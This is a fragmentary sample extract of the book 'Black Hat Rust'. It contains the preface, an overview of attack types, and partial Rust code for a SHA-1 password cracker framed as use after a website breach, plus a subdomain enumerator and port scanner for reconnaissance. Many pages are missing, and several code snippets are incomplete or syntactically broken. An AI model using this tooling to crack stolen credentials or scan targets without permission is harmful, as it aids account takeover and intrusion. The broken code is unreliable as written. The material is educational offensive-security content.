Black Hat Rust
Black Hat Rust
Sylvain Kerkour
Black Hat Rust
Deep dive into offensive security with the Rust programming
language
Sylvain Kerkour
v2021.23
Contents
1 Copyright 8
4 Preface 11
5 Introduction 14
5.1 Types of attacks . . . . . . . . . . . . . . . . . . . . . . . . . 15
5.2 Phases of an attack . . . . . . . . . . . . . . . . . . . . . . . . 17
5.3 Profiles of attackers . . . . . . . . . . . . . . . . . . . . . . . . 18
5.4 Attribution . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
5.5 The Rust programming language . . . . . . . . . . . . . . . . 20
5.6 History of Rust . . . . . . . . . . . . . . . . . . . . . . . . . . 20
5.7 Rust is awesome . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.8 Setup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.9 Our first Rust program: A SHA-1 hash cracker . . . . . . . . 26
5.10 Mental models to approach Rust . . . . . . . . . . . . . . . . 33
5.11 A few things I’ve learned along the way . . . . . . . . . . . . . 35
5.12 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
1
6.6 Enumerating subdomains . . . . . . . . . . . . . . . . . . . . 49
6.7 Scanning ports . . . . . . . . . . . . . . . . . . . . . . . . . . 50
6.8 Multithreading . . . . . . . . . . . . . . . . . . . . . . . . . . 52
6.9 Fearless concurrency in Rust . . . . . . . . . . . . . . . . . . . 53
6.10 The three causes of data races . . . . . . . . . . . . . . . . . . 56
6.11 The three rules of ownership . . . . . . . . . . . . . . . . . . . 56
6.12 The two rules of references . . . . . . . . . . . . . . . . . . . . 56
6.13 Adding multithreading to our scanner . . . . . . . . . . . . . . 56
6.14 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
2
9.3 Search engines . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
9.4 IoT & network Search engines . . . . . . . . . . . . . . . . . . 111
9.5 Social media . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
9.6 Maps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
9.7 Videos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
9.8 Government records . . . . . . . . . . . . . . . . . . . . . . . 112
9.9 Crawling the web . . . . . . . . . . . . . . . . . . . . . . . . . 113
9.10 Why Rust for crawling . . . . . . . . . . . . . . . . . . . . . . 115
9.11 Associated types . . . . . . . . . . . . . . . . . . . . . . . . . 115
9.12 Atomic types . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
9.13 Barrier . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
9.14 Implementing a crawler in Rust . . . . . . . . . . . . . . . . . 118
9.15 The spider trait . . . . . . . . . . . . . . . . . . . . . . . . . . 118
9.16 Implementing the crawler . . . . . . . . . . . . . . . . . . . . 118
9.17 Crawling a simple HTML website . . . . . . . . . . . . . . . . 122
9.18 Crawling a JSON API . . . . . . . . . . . . . . . . . . . . . . 124
9.19 Crawling a JavaScript web application . . . . . . . . . . . . . 127
9.20 How to defend . . . . . . . . . . . . . . . . . . . . . . . . . . . 129
9.21 Going further . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
9.22 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
3
10.17Memory vulnerabilities . . . . . . . . . . . . . . . . . . . . . . 153
10.18Buffer overflow . . . . . . . . . . . . . . . . . . . . . . . . . . 154
10.19Use after free . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
10.20Double free . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156
10.21Format string problems . . . . . . . . . . . . . . . . . . . . . . 157
10.22Other vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . 157
10.23Remote Code Execution (RCE) . . . . . . . . . . . . . . . . . 157
10.24Integer overflow (and underflow) . . . . . . . . . . . . . . . . . 159
10.25Logic error . . . . . . . . . . . . . . . . . . . . . . . . . . . . 160
10.26Race condition . . . . . . . . . . . . . . . . . . . . . . . . . . 161
10.27Additional resources . . . . . . . . . . . . . . . . . . . . . . . 161
10.28Bug hunting . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
10.29The tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164
10.30Automated audits . . . . . . . . . . . . . . . . . . . . . . . . . 166
10.31Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
4
12.11Reverse TCP shellcode . . . . . . . . . . . . . . . . . . . . . . 210
12.12Going further . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
12.13Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
5
15.4 Hash functions . . . . . . . . . . . . . . . . . . . . . . . . . . 290
15.5 Message Authentication Codes . . . . . . . . . . . . . . . . . . 291
15.6 Key derivation functions . . . . . . . . . . . . . . . . . . . . . 292
15.7 Block ciphers . . . . . . . . . . . . . . . . . . . . . . . . . . . 292
15.8 Authenticated encryption . . . . . . . . . . . . . . . . . . . . 293
15.9 Asymmetric encryption . . . . . . . . . . . . . . . . . . . . . . 296
15.10Key exchanges . . . . . . . . . . . . . . . . . . . . . . . . . . 296
15.11Signatures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297
15.12End-to-end encryption . . . . . . . . . . . . . . . . . . . . . . 298
15.13Who use cryptography . . . . . . . . . . . . . . . . . . . . . . 299
15.14Common problems and pitfalls with cryptography . . . . . . . 301
15.15A little bit of TOFU? . . . . . . . . . . . . . . . . . . . . . . 302
15.16The Rust cryptography ecosystem . . . . . . . . . . . . . . . . 303
15.17ring . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 303
15.18Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
15.19Our threat model . . . . . . . . . . . . . . . . . . . . . . . . . 305
15.20Designing our protocol . . . . . . . . . . . . . . . . . . . . . . 306
15.21Implementing end-to-end encryption in Rust . . . . . . . . . . 310
15.22Some limitations . . . . . . . . . . . . . . . . . . . . . . . . . 320
15.23To learn more . . . . . . . . . . . . . . . . . . . . . . . . . . . 321
15.24Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 322
6
17.1 What is a worm . . . . . . . . . . . . . . . . . . . . . . . . . . 338
17.2 Spreading techniques . . . . . . . . . . . . . . . . . . . . . . . 338
17.3 Cross-platform worm . . . . . . . . . . . . . . . . . . . . . . . 341
17.4 Vendoring dependencies . . . . . . . . . . . . . . . . . . . . . 342
17.5 Spreading through SSH . . . . . . . . . . . . . . . . . . . . . . 343
17.6 Implementing a cross-platform worm in Rust . . . . . . . . . . 343
17.7 Install . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 344
17.8 Spreading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 346
17.9 More advanced techniques for your RAT . . . . . . . . . . . . 349
17.10Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 353
18 Conclusion 354
18.1 What we didn’t cover . . . . . . . . . . . . . . . . . . . . . . . 354
18.2 The future of Rust . . . . . . . . . . . . . . . . . . . . . . . . 356
18.3 Leaked repositories . . . . . . . . . . . . . . . . . . . . . . . . 357
18.4 How bad guys get caught . . . . . . . . . . . . . . . . . . . . 357
18.5 Your turn . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 357
18.6 Build your own RAT . . . . . . . . . . . . . . . . . . . . . . . 361
18.7 Social media . . . . . . . . . . . . . . . . . . . . . . . . . . . . 362
18.8 Other interesting blogs . . . . . . . . . . . . . . . . . . . . . . 362
18.9 Feedback . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 362
7
Chapter 1
Copyright
8
Chapter 2
Dear reader, in order to thank you for buying the Black Hat Rust early access
edition and helping to make this book a reality, I prepared you a special
bonus: I curated a list of the best detailed analyses of the most advanced
malware of the past two decades. You may find inside great inspiration when
developing your own offensive tools. You can find the list at this address:
https://github.com/black-hat-rust-bonuses/black-hat-rust-bonuses
If you notice a mistake (it happens), something that could be improved,
or want to share your ideas about offensive security, feel free to join the
discussion on Github: https://github.com/skerkour/black-hat-rust
9
Chapter 3
This version of the book is not the final edition: there can be layout
issues, most of the illustrations will be refined, some things may be in the
wrong order, and content may be added according to the feedback I will
receive.
All the holes in the text are being filled, day after day :)
Also, I fix typos and grammatical errors every 2 weeks, so there can be some
mistakes during the interval.
The final edition of the book is expected for end of Q3 2021.
You can find all the updates in the changelog.
You can contact me by email: [email protected] or matrix: @syl-
vain:kerkour.com
10
Chapter 4
Preface
After high school, my plan for life was to become a private detective, maybe
because I read too much Sherlock Holmes books. In France, the easiest way
to become one, is (was?) to go to law university and then to a specialized
school.
I was not ready.
I quickly realized that studying law was not for me: reality was travestied
to fit whatever narrative politics or professor wanted us to believe. No deep
knowledge was teached here, only numbers, dates, how to look nice and sound
smart. It was deeply frustrating for the young man I was, with an insatiable
curiosity. I wanted to understand how the world works, not human conven-
tions. What is really energy? And, how these machine we call computers
that we are frantically typing on all day long work under the hood?
So I started by installing Linux (no, I won’t enter the GNU/Linux war) on my
Asus EeePC, a small netbook with only 1GB of RAM, because Windows was
too slow, and started to learn to develop C++ programs with Qt, thanks to
online tutorials, coded my own text, my own chat systems. But my curiosity
was not fulfilled.
One day, I inadvertently fell on the book that changed my life: “Hacking:
The Art of Exploitation, 2nd Edition”, by Jon Erickson.
This book not only made me curious about how to make things, but, more
importantly, how to break things. It made me realize that you can’t build
11
reliable things without understanding how to break them, and by extension
where are their weaknesses.
While the book remains great to learn low-level programming and how to ex-
ploit memory safety bugs, today, hacking requires new skills: web exploita-
tion, network and system programming, and, above all, how to code in a
modern programming language.
Welcome to the fascinating world of Rust and offensive security.
While the Rust Book does an excellent job teaching What is Rust, I felt
that a book about Why and How to Rust was missing. That means that
some concepts will not be covered in depth but instead we will see how to
effectively use them in practice.
In this book we will shake the preconceived ideas (Rust is too complex for the
real-world, Rust is not productive…) and see how to architect and create real-
world Rust projects applied to offensive security. We will see how polyvalent
Rust is which enables its users to replace the plethora of programming lan-
guages (Python, Ruby, C, C++…) plaguing the offensive security world with
an unique language (to rule them all) which offers high-level abstractions,
high performance and low-level control when needed.
We will always start with some theory, deep knowledge that pass through
ages, technologies and trends. This knowledge is independent of any pro-
gramming language and will help you to get the right mindset required for
offensive security.
I designed this book for people who either want to understand how attackers
think in order to better defend themselves, or for people who want to enter
the world of offensive security.
The goal of this book is to save you time in your path to action, by distilling
knowledge and presenting it in applied code projects.
It’s important to understand that Black Hat Rust is not meant to be an
big encyclopaedia containing all the knowledge of the world, instead it was
designed as a guide to help you getting started and pave the way to action.
Knowledge is often a prerequisite, but this is action that is shaping the world,
and sometime knowledge is a blocker for action (see analysis paralysis…). As
we will see, some of the most primitive offensive techniques are still the most
effective. Thus some very specific topics, such as how to bypass modern OSes
12
protection mechanisms won’t be covered because there already is extensive
literature on the matter and they have little value in a book about Rust.
That being said, I did my best to list the best resources to further your
learning journey.
It took me approximately 1 year to become efficient in Rust, but it’s only
when I started to write (and rewrite) a lot of code that I made real progress.
Rust is an extremely vast language, but in reality you will (and should) use
only a subset of its features: you don’t need to learn them all ahead of time.
Some, that we will study in this book are fundamentals, but others are not
and may have an adversarial effect on the quality of your code, by making it
harder to read and maintain.
My intention with this book is not only to make you discover the fabulous
world of offensive security, to convince you that Rust is the long-awaited one-
size-fits-all programming language meeting all the needs of offensive security,
but also to save you a lot of time by guiding you to what really matters
when learning Rust and offensive security. But knowledge is not enough.
Knowledge doesn’t move mountains. Actions do.
Thus, the book is only one half of the story. The other half is the accom-
panying code repository: https://github.com/skerkour/black-hat-rust. It’s
impossible to learn without practice, so I invite you to read the
code, modify it and make it yours!
If at any time you feel lost or don’t understand a chunk of Rust code, don’t
hesitate to refer to the Rust Language Cheat Sheet, The Rust Book, and the
Rust Language Reference.
13
Chapter 5
Introduction
14
tools with the Rust programming language.
5.1.3 Pentest
Pentest, which stands for Penetration Testing, may be the most common
term used to designate security audits. One downside of pentests is that
sometimes they are just a means to check some boxes for compliance purposes,
are performed using simple automated scanners and may leave big holes open.
15
5.1.5 Bug bounty
Bug bounty programs are the uberization of security audits. Basically, com-
panies say “Try to hack me, and if you find something and report it to me, I
will pay you”.
5.1.6 Cybercrime
Cybercrime is definitely the most growing type of attack since the 2010s.
From selling personal data on underground forums, to botnets and ran-
somwares, or to credit card hacking, criminal networks have found many
creative ways of acting. An important peak occurred in 2017, when the NSA
tools and exploits were leaked by the mysterious group “Shadow Brokers”,
which were then used in other malware like WanaCry and Petya.
Despite the strengthening of online services to reduce the impact of data
stealing (today, it is far more difficult to take advantage of a stolen card
number compared to few years ago), criminals always find new creative ways
to monetize their wrongdoings, especially thanks to cryptocurrencies.
5.1.8 Cyberwar
This last kind of attack is certainly the less mediatised but without doubts the
most spectacular. To learn more about this exciting topic, I can’t recommend
enough the excellent book “Countdown to Zero Day: Stuxnet and the Launch
of the World’s First Digital Weapon” by Kim Zetter which tells the story of,
to my knowledge, the first act of cyberwar: the stuxnet worm.
16
Figure 5.1: Phases of an attack
5.2.2 Exploitation
Exploitation is the initial breach. It can be performed by using exploits
(zero-day or not), abusing humans (social engineering) or both (sending office
documents with malware inside).
17
5.2.5 Clean up
Once the attack is successfully completed, an advised attacker will cover his
tracks in order to reduce the risk of being identified: logs, temporary files,
infrastructure, phishing websites…
18
5.3.4 The system administrator
Once the initial compromise performed, the role of the system administrator
is to operate and secure the infrastructure used by attackers. Their knowledge
can also be used during the exploitation and lateral movements phases.
5.4 Attribution
Attribution is the process of identifying and laying blame on the operators
behind a cyber attack.
As we will see, it’s an extremely complex topic: sophisticated attackers go
through multiple networks and countries before hitting their target.
Attacks attribution is usually based on the following technical and opera-
tional elements:
Dates and time of the attackers’ activities, which may reveal their time zone
- even though it can easily be biased by moving the team in another country.
Artefacts present in the malware employed, like a string of characters in a
specific alphabet or language - although, one can insert another language in
order to blame someone else.
By counterattacking or hacking attackers’ tools and infrastructure, or even
by sending them false data which may lead them to make mistakes and
consequently reveal their identities.
Finally, by browsing forums. It is not unusual that hackers praise their
achievements on dedicated forums in order to both inflate their reputation
and ego.
In the context of cyberwar, it is important to remember that public naming of
attackers might have more to do with a political agenda rather than concrete
facts.
19
5.5 The Rust programming language
Now we have a better idea of what cyber attacks are and who is behind, let
see how they can be carried out. Usually offensive tools are developed in the
C/C++, Python or Java programming languages, and now a bit of Go. But
all these languages have flaws that make them far from optimal for the task:
It’s extremely hard to write safe and sound programs in C or C++, Python
can be slow, and due to its weak typing it’s hard to write large programs and
Java depends on an heavyweight runtime which may not fit all requirements
when developing offensive tools.
If you are hanging out online on forums like HackerNews or Reddit you can’t
have missed this “new” programming language called Rust. It pops almost
every time we are discussing something barely related to programming. The
so-called Rust Evangelism Strikeforce is promising an access to paradise to
the brave programmers who will join their ranks.
Rust is turning a new page in the history of programming languages by
providing unparalleled guarantees and features, whether it be for defensive
or offensive security. I will venture to say that Rust is the long awaited
one-size-fits-all programming language. Here is why.
20
Figure 5.2: Google trends results for the Rust programming language
21
5.7 Rust is awesome
5.7.1 The compiler
First hated by beginners then loved, the Rust compiler is renowned for its
strictness. It’s like an always available code reviewer, just not that friendly.
5.7.2 Fast
One of the most loved characteristics of Rust is its speed. Developers spend
their day behind a screen, and thus hate slow programs interrupting their
workflows. It is thus completely natural that programmers tend to reject
slow programming language contaminating the whole computing stack and
creating a painful user experience.
Micro-benchmarks are of no interest to us because they are more often than
not fallacious, however, there are a lot of reports demonstrating that Rust is
blazing fast when used in real-world applications.
My favorite one is Discord describing how replacing a service in Go by Rust
not only eliminated latency spikes due to Go’s garbage collector but also
reduced average response time from milliseconds to microseconds.
Another one is TechEmpower’s Web Framework benchmarks, certainly the
most exhaustive web framework benchmarks available on the internet where
Rust shines since 2018.
5.7.3 Multi-paradigm
Being greatly inspired by the ML family of programming languages, Rust
can be described as easy to learn as imperative programming languages, and
expressive as functional programming languages, whose abstractions allow
them to transpose the human thought to code better.
Rust is thus rather “low-level” but offers high-level abstractions to program-
mers and is a joy to use.
The most loved feature by programmers coming from other programming
languages seems to be enums, also known as Algebraic Data Types. They
offer unparalleled expressiveness and correctness: when we “check” an enum,
22
with the match keyword, the compiler will make sure that we don’t forget a
case, unlike switch statements in other programming languages.
ch_01/snippets/enums/src/lib.rs
pub enum Status {
Queued,
Running,
Failed,
}
$ cargo build
Compiling enums v0.1.0
error[E0004]: non-exhaustive patterns: `Failed` not covered
--> src/lib.rs:8:11
|
1 | / pub enum Status {
2 | | Queued,
3 | | Running,
4 | | Failed,
| | ------ not covered
5 | | }
| |_- `Status` defined here
...
8 | match status {
| ^^^^^^ pattern `Failed` not covered
|
= help: ensure that all possible cases are being handled, possibly by adding wil
= note: the matched value is of type `Status`
For more information about this error, try `rustc --explain E0004`.
error: could not compile `enums`
23
To learn more, run the command again with --verbose.
5.7.4 Modular
Rust’s creators clearly listened to developers when designing the ecosystem
of tools accompanying it. It especially shows regarding dependencies man-
agement. It’s as easy with dynamic languages, such as Node.js’ NPM, a real
breath of fresh air when you had to fight with C or C++ toolchains.
5.7.5 Explicit
Rust’s is certainly one of the most explicit languages. On one hand it allows
programs to be easier to reason about, and code reviews to be more effective
as less things are hidden.
On the other hand, it is often pointed by people on forums, telling that they
never saw such an ugly language because of its verbosity.
24
I personally use Reddit to share my projects or ideas with the community,
and the forum for help about code.
5.8 Setup
Before starting we need to set up our development environment. We will
need (without surprise) Rust, a code editor and Docker.
25
The same is true for Podman: https://podman.io/getting-started/installati
on
In the next chapter we will use command of the form:
$ docker run -ti debian:latest
If you’ve been the podman’s way you will just have to replace the docker
command by podman.
$ podman run -ti debian:latest
or better: create a shell alias.
$ alias docker=podman
SHA-1 is a hash function used by a lot of old websites to store the passwords
of the users. In theory a hashed password can’t be recovered from it’s hash
and thus by storing the hash in their databases, a website can assert that a
given user have the knowledge of it’s password without storing the password
26
in cleartext. So if the website’s database is breached, there is no way to
recover the passwords and access users’ data.
Reality is quite different. Let’s imagine a scenario where we just breached
such a website and we now want to recover the credentials of the users in
order to gain access to their accounts. This is where a “hash cracker” is
useful. A hash cracker is a program that will try a lot of different hashes in
order to find the original password.
This simple program will help us learn Rust’s fundamentals: * How to use
CLI arguments * How to read files * How to use an external library * Basic
error handling * Resources management
Like in almost all programming languages, the entrypoint of a Rust program
is a main function.
ch_01/sha1_cracker/src/main.rs
fn main {
// ...
}
fn main {
let args: Vec<String> = env::args().collect();
}
Where use std::env imports the module env from the standard library
and env::args() calls the method args from this module and returns
an iterator which can be “collected” into a Vec<String> , a Vector of
String objects.
It is then easy to check for the number of arguments and display an error
message if it does not match what is expected.
ch_01/sha1_cracker/src/main.rs
use std::env;
fn main {
27
let args: Vec<String> = env::args().collect();
if args.len() != 3 {
println!("Usage:");
println!("sha1_cracker: <wordlist.txt> <sha1_hash>");
return;
}
}
28
if args.len() != 3 {
println!("Usage:");
println!("sha1_cracker: <wordlist.txt> <sha1_hash>");
return Ok(());
}
Ok(())
}
if args.len() != 3 {
println!("Usage:");
println!("sha1_cracker: <wordlist.txt> <sha1_hash>");
return Ok(());
}
29
let hash_to_crack = args[2].trim();
if hash_to_crack.len() != SHA1_HEX_STRING_LENGTH {
return Err("sha1 hash is not valid".into());
}
Ok(())
}
5.9.3 Crates
Now that the basic structure of our program is in place, we need actually
to compute the SHA-1 hashes. Fortunately for us, some talented developers
have already developed this complex piece of code and shared it online ready
to use in the form of an external library. In rust, we call those libraries, or
packages, crates. They can be browsed online at https://crates.io.
They are managed with Cargo: Rust’s package manager. Before using a
crate in our program we need to declare its version in Cargo’s manifest file:
‘Cargo.toml“‘.
ch_01/sha1_cracker/Cargo.toml
[package]
name = "sha1_cracker"
version = "0.1.0"
authors = ["Sylvain Kerkour"]
edition = "2018"
[dependencies]
sha-1 = "0.9"
hex = "0.4"
30
ch_01/sha1_cracker/src/main.rs
use sha1::Digest;
use std::{
env,
error::Error,
fs::File,
io::{BufRead, BufReader},
};
if args.len() != 3 {
println!("Usage:");
println!("sha1_cracker: <wordlist.txt> <sha1_hash>");
return Ok(());
}
Ok(())
}
31
Please note that in a real world context, we may want to use optimized hash
crackers such as hashcat or John the Ripper.
5.9.4 RAII
A detail may have caught the attention of the most meticulous of you: we
open the wordlist file, but we never close it!
This pattern (or feature) is called RAII: Resource Acquisition Is Initialization:
in Rust, variables not only represent parts of the memory of the computer,
they may also own resources. Whenever an object goes out of scope, its
destructor is called, and the owned resources are freed.
In our case, the wordlist_file variable owns the file and has the main
function as scope. Whenever the main function exits, either due to an error
or an early return, the owned file is closed.
Magic, isn’t it? Thanks to this, it’s extremely hard to leak resources in Rust.
5.9.5 Ok(())
You might also have noticed that the last line of our main function does not
contain the return keyword. This is because Rust is an expression-oriented
language. Expressions evaluate to a value and their opposites, statements,
are instructions that do something and end with a semicolon ( ; ).
So if our program reaches the last line of the main function, the main
function will evaluate to Ok(()) which means success: everything went
according to the plan.
An equivalent would have been:
return Ok(());
but not:
Ok(());
because here Ok(()); is a statement due to the semicolon, and the main
function no longer evaluates to its expected return type: Result .
32
5.10 Mental models to approach Rust
Using Rust may require you to re-think all your mental models you learned
while using other programming languages.
33
wrong. Stop what you are doing, take a break, and think how you can do
things differently. It happens to me almost everyday.
Also, keep in mind that the more you are playing with the limits of the
type system, the more your code will create hard-to-understand errors by
the compiler. So make you and you co-workers a favor: KISS (Keep It
Simple, Stupid).
Favor getting things done rather than the perfect design that will never ship.
It’s far better to re-work an imperfect solution than to never ship a perfect
system.
34
guarantees of the language. I can’t say the same for our experiences with
go. Our reasons go well beyond”oh the gc in go has given us problems” but
more like “go as a language has willingly ignored and has rejected advances
in programming languages”. You can pry those algebraic data types, enums,
borrow checker, and compile time memory management/safety, etc… from my
cold dead hands. [..]“
5.10.5 Functional
Rust is (in my opinion) the perfect mix between an imperative and a func-
tional language to get things done. It means that if you are coming from
a purely imperative programming language, you will have to unlearn some
things and embrace the functional paradigm.
Favor iterators (chapter 3) over for loops. Favor immutable data over
mutable references and don’t worry, the compiler will make a great job to
optimize your code.
It’s exacerbated by Rust’s ownership model, which makes references a poison
complexifying your code a lot.
35
Figure 5.5: Rust’s learning curve
Yeaah suure, please don’t mind that somebody, someday, will have to read
and understand your code.
But lifetimes annotations are avoidable and in my opinion should be
avoided. So here is my strategy to avoid turning Rust code into some
kind of monstrosity that nobody will ever want to touch and slowly die of
disregard.
36
5.11.1.1 Why are lifetime annotations needed in the first place?
Lifetime annotations are needed to tell the compiler that we are manipulating
some kind of long-lived reference and let him assert that we are not going to
screw ourselves.
It’s most of the time easy to elide input lifetimes, but beware that to omit
output lifetime annotations, you have to follow these 3 rules:
• Each elided lifetime in a function’s arguments becomes a distinct life-
time parameter.
• If there is exactly one input lifetime, elided or not, that lifetime is
assigned to all elided lifetimes in the return values of that function.
• If there are multiple input lifetimes, but one of them is &self or &mut
self, the lifetime of self is assigned to all elided output lifetimes.
Otherwise, it is an error to elide an output lifetime.
fn do_something(x: &u64)-> &u64 {
println!("{}", x);
x
}
// is equivalent to
fn do_something_else<'a>(x: &'a u64)-> &'a u64 {
println!("{}", x);
x
}
37
The solution for long-lived, shared (or not), mutable (or not) references is to
use smart pointers.
The only downside is that smart pointers, in Rust, are a little bit verbose
(but still way less ugly than lifetime annotations).
use std::rc::Rc;
fn main() {
let pointer = Rc::new(1);
{
let second_pointer = pointer.clone(); // or Rc::clone(&pointer)
println!("{}", *second_pointer);
}
println!("{}", *pointer);
}
5.11.1.3.1 Rc To obtains a mutable, shared pointer, you can use use the
interior mutability pattern:
use std::cell::{RefCell, RefMut};
use std::rc::Rc;
fn main() {
let shared_string = Rc::new(RefCell::new("Hello".to_string()));
{
let mut hello_world: RefMut<String> = shared_string.borrow_mut();
hello_world.push_str(" World");
}
println!("{}", shared_string.take());
}
38
use std::sync::{Arc, Mutex};
use std::{thread, time};
fn main() {
let pointer = Arc::new(5);
thread::sleep(time::Duration::from_secs(1));
println!("{}", *pointer); // 5
}
fn main() {
let pointer = Arc::new(Mutex::new(5));
thread::sleep(time::Duration::from_secs(1));
39
5.11.1.4 When to use lifetimes annotations
In my opinion, lifetimes annotations should never surface in any public API.
It’s okay to use them if you need absolute performance AND minimal re-
sources usage AND are doing embedded development, but you should keep
them hidden in your code, and they should never surface in the public API.
40
The first one is to split a large project into smaller crates and benefit from
Rust’s incremental compilation.
Another one is to use cargo check instead of cargo build most of the
time.
$ cargo check
As an example, on a project, with a single letter change:
$ cargo check
Finished dev [unoptimized + debuginfo] target(s) in 0.12s
cargo build
Compiling agent v0.1.0 (black-hat-rust/ch_11/agent)
Finished dev [unoptimized + debuginfo] target(s) in 2.24s
Compounded over a day (or week or month) of development, the gains are
important.
And finally, simply reduce the use of generics. Generics add a lot of work to
the compiler and thus greatly increase compile times.
5.11.5.1 Rustup
Update your local toolchain with rustup :
$ rustup self update
$ rustup update
41
5.11.5.2 Rust fmt
rustfmtp is a code formatter that allows codebases to have a consistent
coding style and avoid nitpicking during code reviews.
It can be configured using a .rustfmt.toml file: https://rust-lang.githu
b.io/rustfmt.
You can use it by calling:
$ cargo fmt
In your projects.
5.11.5.3 Clippy
clippy is a linter for Rust. It will detect code patterns that may lead to
errors, or are identified by the community as bad style.
It helps your codebase to be consistent, and reduce time spent during code
reviews discussing tiny details.
It can be installed with:
$ rustup component add clippy
And used with:
$ cargo clippy
42
The usage is as simple as running
$ cargo outdated
In your projects.
43
5.12 Summary
44
Chapter 6
“To know your Enemy, you must become your Enemy”, Sun Tzu
As we have seen, the first step of every attack is reconnaissance. The goal of
this phase is to gather as much information as possible about our target in
order to find entry points for our coming assault.
In this chapter, we will see the basics of reconnaissance, how to implement
our own scanner in Rust and how to speed it up by leveraging multithreading.
There are two ways to perform reconnaissance: Passive and Active.
45
6.1 Passive reconnaissance
Passive reconnaissance is the process of gathering information about a target
without interacting with it directly. For example, searching for the target on
different social networks and search engines.
Using publicly available sources is called OSINT, for Open Source
INTelligence.
What kind of data is harvested using passive reconnaissance? Usually, pieces
of information about employees of a company such as names, email addresses,
phone numbers, but also source code repositories, leaked tokens. Thanks to
search engines like Shodan, we can also look for open-to-the-world services
and machines.
As passive reconnaissance is the topic of the fifth chapter, we will focus our
attention on active reconnaissance in this chapter.
46
6.3 Assets discovery
Traditionally assets were defined only by technical elements: IP addresses,
servers, domain names, networks… Today the scope is broader and encom-
passes social network accounts, public source code repositories, Internet of
Things objects… Nowadays, everything is on, or connected to, the internet,
which is, from an offensive point of view, interesting.
The goal of listing and mapping all the assets of a target is to find entry
points and vulnerabilities for our coming attack.
47
6.3.2 Other sources of subdomains
6.3.2.1 Wordlists
There are wordlists containing the most common subdomains, such as this
one. Then we simply have to query these domains and see if they resolve.
6.3.2.2 Bruteforcing
Bruteforcing follows the same principle but, instead of querying domains
from a list, domains are randomly generated. In my experience, this method
has the worst Return On Investment and should be avoided.
6.3.2.3 Amass
Finally, there is the Amass maintained by the OWASP, which provides all
kinds of methods to enumerates subdomains.
The sources can be found inthe datasrcs and resources folders.
48
6.5 Error handling
Whether it be for libraries or for applications, errors in Rust are strongly-
typed and most of the time represented as enums with one variant for each
kind of error our library or program might encounter.
For libraries, the current good practice is to use the thiserror crate.
For programs, the anyhow crate is the recommended one, it will prettify
errors returned by the main function.
We will use both in our scanner to see how they fit together.
Let’s define all the error cases of our program. Here it’s easy as the only
fatal error is bad command line usage.
ch_02/tricoder/src/error.rs
use thiserror::Error;
ch_02/tricoder/src/main.rs
fn main() -> Result<(), anyhow::Error> {
49
// clean and dedup results
let mut subdomains: HashSet<String> = entries
.into_iter()
.map(|entry| {
entry
.name_value
.split("\n")
.map(|subdomain| subdomain.trim().to_string())
.collect::<Vec<String>>()
})
.flatten()
.filter(|subdomain: &String| subdomain != target)
.filter(|subdomain: &String| !subdomain.contains("*"))
.collect();
subdomains.insert(target.to_string());
Ok(subdomains)
}
50
if the server refuses to accept the connections, it means that no service is
listening on the given port.
In this situation, it’s important to use a timeout, otherwise, our scanner can
be stuck (almost) indefinitely scanning ports blocked by firewalls.
But we have a problem. Making all our requests in a sequence is extremely
slow.
ch_02/tricoder/src/ports.rs
use crate::{
common_ports::MOST_COMMON_PORTS_10,
model::{Port, Subdomain},
};
use std::net::{SocketAddr, ToSocketAddrs};
use std::{net::TcpStream, time::Duration};
use rayon::prelude::*;
if socket_addresses.len() == 0 {
return Port {
port: port,
is_open: false,
};
}
51
} else {
false
};
Port {
port: port,
is_open,
}
}
6.8 Multithreading
Each CPU thread can be seen as an independent worker: the workload can
be split among the workers.
This is especially important as today, due to the law of physics, processors
have a hard time scaling power in terms of operations per second (GHz),
so instead, vendors increase the number of cores and threads. Developers
have to adapt, and design their programs to split the workload among the
available threads, instead of trying to do all the operations on a single thread,
as they may sooner or later reach the limit of the processor.
52
In our situation, we will dispatch a task per port scan. Thus, if we have
100 ports to scan, we will create 100 tasks. If we have 10 threads, with a 3
seconds timeout, it may take up to 30 seconds (10 * 3) to scan all the ports
for a single host. If we increase this number to 100 threads, then we will be
able to scan 100 ports on 1 host every 3 seconds.
fn main() {
let mut my_vec: Vec<i64> = Vec::new();
thread::spawn(|| {
add_to_vec(&mut my_vec);
});
my_vec.push(34)
}
53
--> src/main.rs:7:19
|
7 | thread::spawn(|| {
| ^^ may outlive borrowed value `my_vec`
8 | add_to_vec(&mut my_vec);
| ------ `my_vec` is borrowed here
|
note: function requires argument type to outlive `'static`
--> src/main.rs:7:5
|
7 | / thread::spawn(|| {
8 | | add_to_vec(&mut my_vec);
9 | | });
| |______^
help: to force the closure to take ownership of `my_vec` (and any other referenced
|
7 | thread::spawn(move || {
| ^^^^^^^
54
error: could not compile `thread_error`
fn main() {
let mut my_vec: Vec<i64> = Vec::new();
my_vec.push(34)
}
For more information about this error, try `rustc --explain E0382`.
55
